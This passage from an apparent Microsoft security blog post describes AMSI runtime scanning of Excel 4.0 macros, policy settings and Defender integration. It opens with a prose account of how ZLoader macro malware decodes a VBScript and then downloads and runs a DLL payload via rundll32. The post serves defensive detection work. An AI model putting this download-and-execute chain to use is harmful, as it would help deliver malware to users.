can see that the macro is issuing a new _EXEC_ statement to run a .vbs file via _explorer.exe_. This _EXEC_ statement causes the execution of the VBScript named _EW2H.vbs_, which has been decoded and saved to disk by the macro prior to the _EXEC_ line. The VBScript then tries to download and run a binary payload. The macro attempts to do this twice, hence this log (with minor variations) is passed to AMSI twice.\n\nIf the above steps fail, the macro resorts to downloading the payload directly, producing the following log for AMSI:\n\n\n\n_Figure 8. Log produced when ZLoader\u2019s XLM macro is run_\n\nThe macro defines two URLs, then downloads their content with the API _URLDownloadToFileA_, and finally invokes the API _ShellExecuteA_ to launch the downloaded payload (the file _jxi09.txt_) via _rundll32.exe_. We can infer from this line that the payload is a DLL.\n\nAll three logs offer plenty of opportunities to detect malicious behavior and also allow the easy extraction of relevant IOCs like URLs, file names, etc. The initial XLM code in the Excel document is completely obfuscated and contains no usable information, making it tricky to issue static detections that are both effective and durable. With the dynamic nature of AMSI, the runtime behavior can be observed in cleartext, even with obfuscation. Detections based on the logs passed to AMSI also have the advantage of being more robust and generic in nature.\n\n## Availability\n\nRuntime inspection of XLM macros is now available in Microsoft Excel and can be used by antivirus solutions like Microsoft Defender Antivirus that are registered as an AMSI provider on the device. This feature is included as an addition to the existing AMSI integration with Office. It\u2019s enabled by default on the February Current Channel and Monthly Enterprise Channel for Microsoft 365 subscription users.\n\nIn its default configuration, XLM macros are scanned at runtime via AMSI, except in the following scenarios:\n\n * Files opened while macro security settings are set to \u201cEnable all macros\u201d\n * Files opened from a [trusted location](<https://docs.microsoft.com/en-us/deployoffice/security/designate-trusted-locations-for-files-in-office>)\n * Files that are [trusted documents](<https://docs.microsoft.com/en-us/deployoffice/security/set-up-a-safe-environment-to-open-files-by-using-protected-view-in-office>)\n\nAdministrators can now use the existing Microsoft 365 applications policy control to configure when both XLM and VBA macros are scanned at runtime via AMSI. Get the [latest group policy template files](<https://www.microsoft.com/en-us/download/details.aspx?id=49030>).\n\n \n\n**Group Policy setting name** | Macro Runtime Scan Scope \n---|--- \n**Path** | User Configuration &gt; Administrative templates &gt; Microsoft Office 2016 &gt; Security Settings \n| This policy setting specifies the behavior for both the VBA and Excel 4.0 (XLM) runtime scan features. Multiple Office apps support VBA macros, but XLM macros are only supported by Excel. Macros can only be scanned if the antivirus software registers as an Antimalware Scan Interface (AMSI) provider on the device.\n\nIf you enable this policy setting, you can choose from the following options to determine the macro runtime scanning behavior:\n\n**Disable for all files (not recommended):** If you choose this option, no runtime scanning of enabled macros will be performed.\n\n**Enable for low trust files:** If you choose this option, runtime scanning will be enabled for all files for which macros are enabled, except for the following files:\n\n * Files opened while macro security settings are set to \u201cEnable all macros\u201d\n * Files opened from a trusted location\n * Files that are Trusted Documents\n * Files that contain VBA that is digitally signed by a trusted publisher\n\n**Enable for all files:** If you choose this option, then low trust files are not excluded from runtime scanning. The VBA and XLM runtimes report to an antivirus system certain high-risk code behaviors the macro is about to execute. This allows the antivirus system to indicate whether or not the macro behavior is malicious. If the behavior is determined to be malicious, the Office application closes the session and the antivirus system can quarantine the file. If the behavior is non-malicious, the macro execution proceeds.\n\nNote: When macro runtime scanning is enabled, the runtime performance of affected VBA projects and XLM sheets may be reduced.\n\nIf you disable this policy setting, no runtime scanning of enabled macros will be performed.\n\nIf you don\u2019t configure this policy setting, \u201cEnable for low trust files\u201d will be the default setting.\n\nNote: This policy setting only applies to subscription versions of Office, such as Microsoft 365 Apps for enterprise. \n \n## AMSI improves security for all\n\nAMSI provides deep and dynamic visibility into the runtime behaviors of macros and other scripts to expose threats that hide malicious intent behind obfuscation, junk control flow statements, and many other tricks. Microsoft Defender Antivirus, the built-in antivirus solution on Windows 10, has been leveraging AMSI to uncover a wide range of threats, from common malware to sophisticated attacks. The recent AMSI instrumentation in XLM directly tackles the rise of malware campaigns that abuse this feature. Because AMSI is an open interface, other antivirus solutions can leverage the same visibility to improve protections against threats. Security vendors can learn how to leverage AMSI in their antivirus products [here](<https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iantimalwareprovider>).\n\nAt Microsoft, we take full advantage of signals from AMSI. The data generated by AMSI is not only useful for immediate client antimalware detections, but also provides rich signals for Microsoft Defender for Endpoint. In our blog post about [AMSI for VBA](<https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/>), we described how these signals are ingested by multiple layers of cloud-based machine learning classifiers and are combined with all other signals. The result is an enhanced protection layer that learns to recognize and block new and unknown threats in real-time.\n\n\n\n_Figure 9. Example of detection from Microsoft Defender Antivirus based on data inspected by AMSI_\n\n\n\n_Figure 10: Notification from Microsoft Excel after AMSI reported malware detection_\n\n\n\n_Figure 11: Example of Microsoft Defender for Endpoint alert for detection of XLM malware _\n\nThe visibility provided by AMSI leads to significant improvements in generic and resilient signatures that can stop waves of obfuscated and mutated variants of threats. AMSI-driven protection adds to an extensive multi-layer protection stack in [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>), which also includes attack surface reduction, [network protection](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/enable-network-protection>), behavior monitoring and other technologies that protect against macro malware and other similar script-based threats.\n\nThe AMSI-enriched visibility provided by Microsoft Defender for Endpoint is further amplified across [Microsoft 365 Defender](<https://aka.ms/m365d>), such that XLM macro threats are detected and blocked on various entry vectors. The orchestration of signal-sharing and coordinated defense in Microsoft 365 ensures that, for example, [Microsoft Defender for Office 365](<https://www.microsoft.com/en-us/microsoft-365/security/office-365-defender>) blocks macro malware distributed via email, which is the most common delivery methods for these threats.\n\n[Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>).\n\n \n\n**_Giulia Biagini_**_, Office 365 Threat Research Team_\n\n**_Auston Wallace_**_, Microsoft 365 Security Team_\n\n**_Andrea Lelli_**_, Microsoft 365 Defender Research Team _\n\nThe post [XLM + AMSI: New runtime defense against Excel 4.0 macro malware](<https://www.microsoft.com/security/blog/2021/03/03/xlm-amsi-new-runtime-defense-against-excel-4-0-macro-malware/>) appeared first on [Microsoft Security.", "modified": "2021-03-03T17:00:54", "published": "2021-03-03T17:00:54", "id": "MMPC:ABEDEDA2ACF09B4DFBA6CF8F97BA9F74", "href": "https://www.microsoft.com/security/blog/2021/03/03/xlm-amsi-new-runtime-defense-against-excel-4-0-macro-malware/", "type": "mmpc", "title": "XLM + AMSI: New runtime defense against Excel 4.0 macro malware", "cvss": {"score": 0.0, "vector": "NONE"}}]}